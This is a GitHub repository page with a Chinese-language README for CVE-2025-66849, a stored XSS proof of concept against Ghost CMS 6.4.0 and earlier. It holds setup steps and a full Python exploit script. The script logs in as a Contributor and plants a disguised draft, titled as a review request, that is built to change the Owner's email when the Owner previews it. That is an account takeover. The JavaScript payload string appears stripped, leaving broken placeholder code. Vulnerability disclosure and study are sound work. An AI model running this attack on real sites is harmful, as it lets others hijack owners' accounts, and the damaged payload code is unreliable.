wojtekchwala/CVE-2025-66849

GitHub: wojtekchwala/CVE-2025-66849

Ghost CMS 存储型 XSS 漏洞 PoC,实现通过伪造邮件更改所有者权限的账户接管。

Stars: 0 | Forks: 0

# CVE-2025-66849 Ghost CMS 权限提升 PoC ### 摘要 在 Ghost Foundation Ghost CMS 6.4.0 及以下版本中,帖子草稿编辑器中的 HTML 块未能正确清理或编码用户提供的内容,导致存储型跨站脚本(XSS)漏洞。拥有者(Owner)账户可以注入任意 JavaScript 到草稿中,并在查看时执行。这使得攻击者能够在拥有者的上下文中执行特权操作。 ### 漏洞概述 #### 严重程度:**高** #### 影响版本:**Ghost 6.4.0(截至 2025 年 10 月 20 日的最新版本) - Ghost CMS 6.4.0 及以下版本** ### 复现步骤 要演示该漏洞,需要设置一个包含两个账户的本地 Ghost CMS 实例: 1. 拥有者账户(Owner)——在 Ghost 安装过程中自动创建。 2. 贡献者账户(Contributor)——由拥有者邀请新用户创建。Ghost 会向贡献者的邮箱发送一个 Magic Link 以完成账户设置。 由于此操作在本地进行,建议安装邮件捕获工具(如 MailHog)(例如通过 Docker)。这样可以本地拦截 Ghost 发送的 Magic Link,使贡献者能够自行激活账户。 当两个账户均处于活跃状态后,即可使用利用脚本(`contributor.py`)。该脚本需要贡献者的登录凭据以及将分配给拥有者的新邮箱地址。 脚本参数如下: ``` -u / --username Contributor username (email) -p / --password Contributor password -e / --new-email New email address to be set on the Owner account --url Ghost instance URL (optional) ``` 在终端中运行脚本使用: ``` python3 contributor.py -u 'contributor@contributor.com' -p 'wojtek123!@#' -e 'w0j73kchanged@w0j73k.com' ``` 执行后,脚本会自动创建一个包含恶意 JavaScript 载荷的新草稿,并插入到易受攻击的 HTML 块中。 要触发存储型 XSS,**拥有者只需预览该草稿**:在 Ghost 管理面板中打开草稿并点击“预览”。注入的脚本将在后台以拥有者的权限执行,而拥有者不会收到其邮箱已被更改的通知。 ``` import requests import json import argparse class GhostCMSSession: def __init__(self, ghost_url="http://localhost:2368"): self.ghost_url = ghost_url.rstrip('/') self.api_url = f"{self.ghost_url}/ghost/api/admin" self.session = requests.Session() self.authenticated = False self.current_user = None self.owner_user = None self.session.headers.update({ 'Origin': self.ghost_url, 'Accept': 'application/json', 'Content-Type': 'application/json' }) def login(self, username, password): """Login to Ghost with username and password""" login_url = f"{self.api_url}/session/" payload = {"username": username, "password": password} try: response = self.session.post(login_url, json=payload) if response.status_code == 201: print(f"✓ Successfully logged in as {username}") self.authenticated = True self.current_user = self.get_current_user() self.owner_user = self.get_owner_user() return True else: print(f"✗ Login failed: {response.status_code}") return False except Exception as e: print(f"✗ Login error: {str(e)}") return False def get_current_user(self): """Get current user information""" if not self.authenticated: return None try: url = f"{self.api_url}/users/me/?include=roles" response = self.session.get(url) if response.status_code == 200: data = response.json() user = data['users'][0] print(f"\n Current User: {user.get('name', 'Unknown')}") print(f" Email: {user.get('email', 'Unknown')}") print(f" User ID: {user.get('id', 'Unknown')}") if 'roles' in user and user['roles']: role = user['roles'][0] if isinstance(role, dict): print(f" Role: {role.get('name', 'Unknown')}") return user return None except Exception as e: print(f" Error fetching user: {str(e)}") return None def get_owner_user(self): """Fetch all users and find the owner - return full user object""" if not self.authenticated: return None try: print(f"\n Fetching all users to find owner...") url = f"{self.api_url}/users/?include=roles" response = self.session.get(url) if response.status_code == 200: data = response.json() users = data.get('users', []) print(f" Found {len(users)} users") for user in users: if 'roles' in user and user['roles']: role = user['roles'][0] role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower() print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}") if role_name == 'owner' or role_name == 'administrator': print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})") print(f" Slug: {user.get('slug')}") print(f" Email: {user.get('email')}") return user return None return None except Exception as e: print(f" ✗ Error fetching users: {str(e)}") return None def create_lexical_with_html(self, html_content): """Create Lexical format with HTML node (as a JSON string)""" lexical_structure = { "root": { "children": [ { "type": "html", "version": 1, "html": html_content, "visibility": { "web": { "nonMember": True, "memberSegment": "status:free,status:-free" }, "email": { "memberSegment": "status:free,status:-free" } } }, { "children": [], "direction": None, "format": "", "indent": 0, "type": "paragraph", "version": 1 } ], "direction": None, "format": "", "indent": 0, "type": "root", "version": 1 } } return json.dumps(lexical_structure) def create_post_for_review(self, title, new_email, tags=None, excerpt=None): """Create a post with Lexical HTML content""" if not self.authenticated or not self.current_user: print("✗ Not authenticated") return None if not self.owner_user: print("✗ Owner user not found") return None author_id = self.current_user.get('id') owner_id = self.owner_user.get('id') owner_slug = self.owner_user.get('slug') owner_name = self.owner_user.get('name') print(f"\n Creating post with CONTRIBUTOR as author") print(f" Author ID: {author_id} ({self.current_user.get('name')})") print(f" Target Owner ID: {owner_id}") print(f" Target Owner Slug: {owner_slug}") print(f" Target Owner Name: {owner_name}") # HTML content with placeholders article_content = """\">""" # Replace placeholders with actual owner data html_content_with_id = article_content.replace("", owner_id) html_content_with_id = html_content_with_id.replace("", owner_slug) html_content_with_id = html_content_with_id.replace("", owner_name) html_content_with_id = html_content_with_id.replace("", new_email) print(f"\n HTML content prepared (with Owner data injected)") print(f" Target email change: {self.owner_user.get('email')} → {new_email}") # Create Lexical content lexical_content = self.create_lexical_with_html(html_content_with_id) # Prepare post data with Lexical post_data = { 'posts': [{ 'title': title, 'lexical': lexical_content, 'status': 'draft', 'authors': [author_id], }] } if excerpt: post_data['posts'][0]['excerpt'] = excerpt if tags: post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags] # Try multiple API approaches attempts = [ {'url': f"{self.api_url}/posts/?source=html", 'data': post_data}, {'url': f"{self.api_url}/posts/", 'data': post_data}, { 'url': f"{self.api_url}/posts/?source=html", 'data': { 'posts': [{ 'title': title, 'lexical': lexical_content, 'status': 'draft', 'authors': [{'id': author_id}], }] } }, { 'url': f"{self.api_url}/posts/?source=html", 'data': { 'posts': [{ 'title': title, 'lexical': lexical_content, 'status': 'draft', }] } }, ] for i, attempt in enumerate(attempts, 1): try: print(f"\n Attempt {i}: {attempt['url']}") response = self.session.post(attempt['url'], json=attempt['data']) if response.status_code == 201: post = response.json()['posts'][0] print(f"\n✓✓✓ Post created successfully!") print(f" Title: {post['title']}") print(f" Post ID: {post['id']}") print(f" Status: {post['status']}") if 'authors' in post and post['authors']: print(f" Author: {post['authors'][0].get('name', 'Unknown')}") print(f" Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}") print(f"\n ⚠️ Post contains script targeting Owner: {owner_name} ({owner_slug})") print(f" ⚠️ Email change: {self.owner_user.get('email')} → {new_email}") return response.json() else: print(f" ✗ Status {response.status_code}") print(f" Response: {response.text}") except Exception as e: print(f" ✗ Exception: {str(e)}") print(f"\n✗ All attempts to create post failed.") return None def logout(self): """Logout from Ghost session""" if self.authenticated: try: logout_url = f"{self.api_url}/session/" self.session.delete(logout_url) print("\n✓ Logged out successfully") except: pass self.session.close() def main(): parser = argparse.ArgumentParser( description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change' ) parser.add_argument('-u', '--username', required=True, help='Ghost username (email)') parser.add_argument('-p', '--password', required=True, help='Ghost password') parser.add_argument('-e', '--new-email', required=True, help='New email to set for owner account') parser.add_argument('--url', default='http://localhost:2368', help='Ghost instance URL') args = parser.parse_args() # Article details article_title = "Review Required: Important Update" article_tags = ["review"] article_excerpt = "Please review this update at your earliest convenience" # Initialize Ghost client ghost = GhostCMSSession(ghost_url=args.url) # Login if not ghost.login(args.username, args.password): return # Create post with malicious content if ghost.current_user and ghost.owner_user: ghost.create_post_for_review( title=article_title, new_email=args.new_email, tags=article_tags, excerpt=article_excerpt ) # Logout ghost.logout() if __name__ == "__main__": main() ```
标签:Contributor, CVE-2025-66849, Ghost 6.4.0, Ghost CMS, HTML块, JavaScript注入, Owner, PoC, XSS, 内容注入, 前端安全, 协议分析, 存储型XSS, 安全测试, 富文本编辑, 提权, 攻击性安全, 暴力破解, 未过滤输入, 权限提升, 模糊测试, 漏洞复现, 漏洞情报, 漏洞披露, 自动化分析, 跨站脚本, 逆向工具